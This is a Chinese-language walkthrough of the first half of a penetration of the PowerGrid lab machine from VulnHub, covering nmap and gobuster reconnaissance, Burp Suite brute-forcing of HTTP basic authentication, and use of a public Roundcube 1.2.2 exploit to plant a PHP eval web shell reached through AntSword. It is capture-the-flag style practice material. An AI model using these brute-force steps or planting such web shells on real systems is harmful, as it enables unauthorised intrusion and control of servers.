news 2026/9/12 19:47:27

PowerGrid靶机渗透小白实操流程(前半部分)

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
PowerGrid靶机渗透小白实操流程(前半部分)

记录一下实战渗透PowerGrid靶机全流程

1,前期部署

https://download.vulnhub.com/powergrid/PowerGrid-1.0.1.ova

从官网下载PowerGrid靶机,格式为ova文件。将其拖拽到vmware中,安装完成后在设置中找到网络适配器,在网络连接中选择自定义,选择和攻击机一样的网络。这边选择的是自带的VMnet1。设置完成后将靶机启动。

攻击机选择kali2026.2,在桌面创建PowerGrid文件夹。

2,信息收集

打开终端,先查看攻击机IP

ip a ifconfig

得到攻击机IP:192.168.221.254

利用nmap查看靶机IP

sudo nmap -sn 192.168.221.0/24

发现靶机IP:192.168.221.128

进一步信息收集

sudo nmap --min-rate 10000 -p- 192.168.221.128 -oA nmap1

--min-rate:指定最低速率

-p-:指定扫描全部端口

-oA:结果保存进nmap1文件中

扫描结果发现该靶机开放了80,143,993端口,其中80为常见的http默认端口,所以打开浏览器进一步搜索,发现web界面

通过主页文本,看到了几个关键名:deez1, p48,all2,Cymru1 Hacking Team,Powergrid

先记录下来:

cat <<'redeyes' > name

继续利用nmap进行信息收集

udp端口扫描:

sudo nmap -sU --top-ports 100 192.168.221.128 -oA nmap_udp

-sU:指定扫描udp端口

--top-ports 100:指定扫描常见的100个端口

漏洞扫描:

sudo nmap --script=vuln -p80,143,993 192.168.221.128 -oA nmap_script

--script=vuln:检测已知漏洞

-p:指定扫描端口号

详细扫描:

sudo nmap -sS -n -Pn -p 80,143,993,1 -sV -O 192.168.221.128 -oA nmap_all

-sS:指定半开放扫描

-n:不做DNS解析

-Pn:不做探活

-sV:探测服务和服务版本

-O:探测操作系统(需添加未开放端口号,这里添加的是1)

三者均未发现有效信息

3,目录遍历(利用kali自带gobuster)
gobuster dir -u 192.168.221.128 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt --useragent 'Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0'

-u:指定url

-w:指定字典

--useragent:伪造useragent(可加可不加)

--discover-backup:找备份文件(可加可不加)

-x:寻找指定后缀文件(可加可不加)

发现zmail,进去看看,发现一个简单认证,做一下爆破。

4,简单认证爆破

尝试用burpsuite爆破

这里直接使用物理机上的burpsuite

打开内嵌浏览器,输入192.168.221.128/zmail,开启监听,随便输入用户名和密码,提交,将请求发送到控制器上

这里看到Authorization的值并不是我们提交的值,想到解码,进行base64解码

选择Cluster Bomb模式,我们这边提交的用户名是111,密码是222,Authorization解码后的值是111:222。添加两个payload位置,一个在111处,一个在:222处。payload1选择用户名生成器,添加p48,deez1,all2,Cymru1 Hacking Team,powergrid,payload2使用burpsuite自带密码字典。payload1添加base64编码处理,payload2进行两个处理,一个是添加前缀“:”,另一个是进行base64编码。尝试爆破。

失败,发现是base64编码出了问题,如果进行两次编码,payload1编码后后缀会出现=,导致无法解码。换个思路,选择sniper攻击,payload模式选择自定义迭代器。找一个用户名生成器,这里用的是hashcat。

github下载hashcat—windows版本,解压后在rule文件夹中找到best66.rule,复制一份到与hashcat.exe相同路径下,将我们在kali中保存的name文件也保存在相同路径下,使用hashcat:

hashcat.exe --stdout name -r best66.rule > username.txt

--stdout:指定标准输出

-r:指定规则

>:指定保存在特定文件中

得到username.txt文件

payload1指定使用username.txt,分隔符选择“:”,payload2选择burpsuite自带密码本。payload进行base64编码处理。尝试爆破。(注意,不要使用中文:)

失败,思路没问题,但没爆破出来。不相信burpsuite自带密码本了,选择rockyou密码本再尝试一遍。

成功,得到用户名p48以及密码electrico。进入到一个roundcube的登陆界面。先用p48和electrico的组合试一遍,发现直接进去了。这里如果失败估计还得做一遍爆破了。

5,立足点

再次进行信息收集:

从界面布置可以大致猜测roundcube是一个邮箱系统。从界面中存在的about中我们可以得知roundcube版本号是1.2.2。从邮箱中的邮件可以得到一串加密的ssh密钥。

从上述已知信息中,似乎只有roundcube的版本号有点用处。在网上搜索一下这个版本有没有已知漏洞,这一搜不仅搜到了对漏洞的详细介绍,还搜到了现成的攻击脚本。下载下来,发现是一个利用漏洞编写后门的脚本。根据readme中的方式,安装后门

/exploit.py --host192.168.221.128 --user p48 --pwd electrico --path zmail --www_path "/var/www/html/zmail/"

根据漏洞描述中的内容设置参数,失败,寻找原因。

在网上看了点帖子,发现之所以失败是因为脚本在简单认证那步卡住了,所以修改一下:

/exploit.py --host p48:electrico@192.168.221.128 --user p48 --pwd electrico --path zmail --www_path "/var/www/html/zmail/"

成功,按照它给的提示访问一下backdoor.php

发现这个backdoor功能似乎有点羸弱,检查一下python源码,发现它原本应该写入的php代码,稍作修改:

?php @eval($_POST['post']);?>

再次运行一遍脚本,尝试用中国蚁剑连接一下,失败,想到有可能是和第一次脚本运行失败一样出现了相同的问题:简单认证没过去。于是url地址改成了p48:electrico@192.168.221.128,再次连接,失败,测试连接通过了,但是无法连接到终端。说明思路正确。

再次修改,添加请求头,name:Authorization,value:Basic cDQ4OmVsZWN0cmljbw%3d%3d,再次尝试。

成功进入终端界面。

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/9/12 19:45:56

微电网经济运行优化:稳定性约束下的关键技术解析

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

作者头像 李华
网站建设 2026/9/12 19:45:54

Linux文件系统架构与IO性能优化指南

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

作者头像 李华
网站建设 2026/9/12 19:44:42

ESP32-S3 N16R8开发实战:USB+PSRAM+AI嵌入式项目高效落地指南

1. 为什么选ESP32-S3 N16R8&#xff1f;这不是一块普通开发板&#xff0c;而是嵌入式开发的“效率加速器”你手上刚拆封的那块印着“ESP32-S3-N16R8”的小板子&#xff0c;表面看只是个带USB口的蓝色PCB&#xff0c;但实际它是一台被高度优化过的微型计算机——不是玩具&#x…

作者头像 李华
网站建设 2026/9/12 19:43:29

车规级HSM:域控制器与T-Box安全架构的物理基石

1. 为什么车载HSM不再是“可选项”&#xff0c;而是域控制器和T-Box的生存底线&#xff1f; 你拆开一台2024年量产的智能汽车域控制器&#xff0c;大概率会看到一块带金属屏蔽罩、印着JEDEC标准封装标识的芯片——它不参与图像识别&#xff0c;不调度电机扭矩&#xff0c;甚至不…

作者头像 李华
网站建设 2026/9/12 19:40:18

Equator测量机报警代码诊断树实战指南

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

作者头像 李华
网站建设 2026/9/12 19:39:46

中小团队CI/CD实战:工具链与自动化部署最佳实践

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

作者头像 李华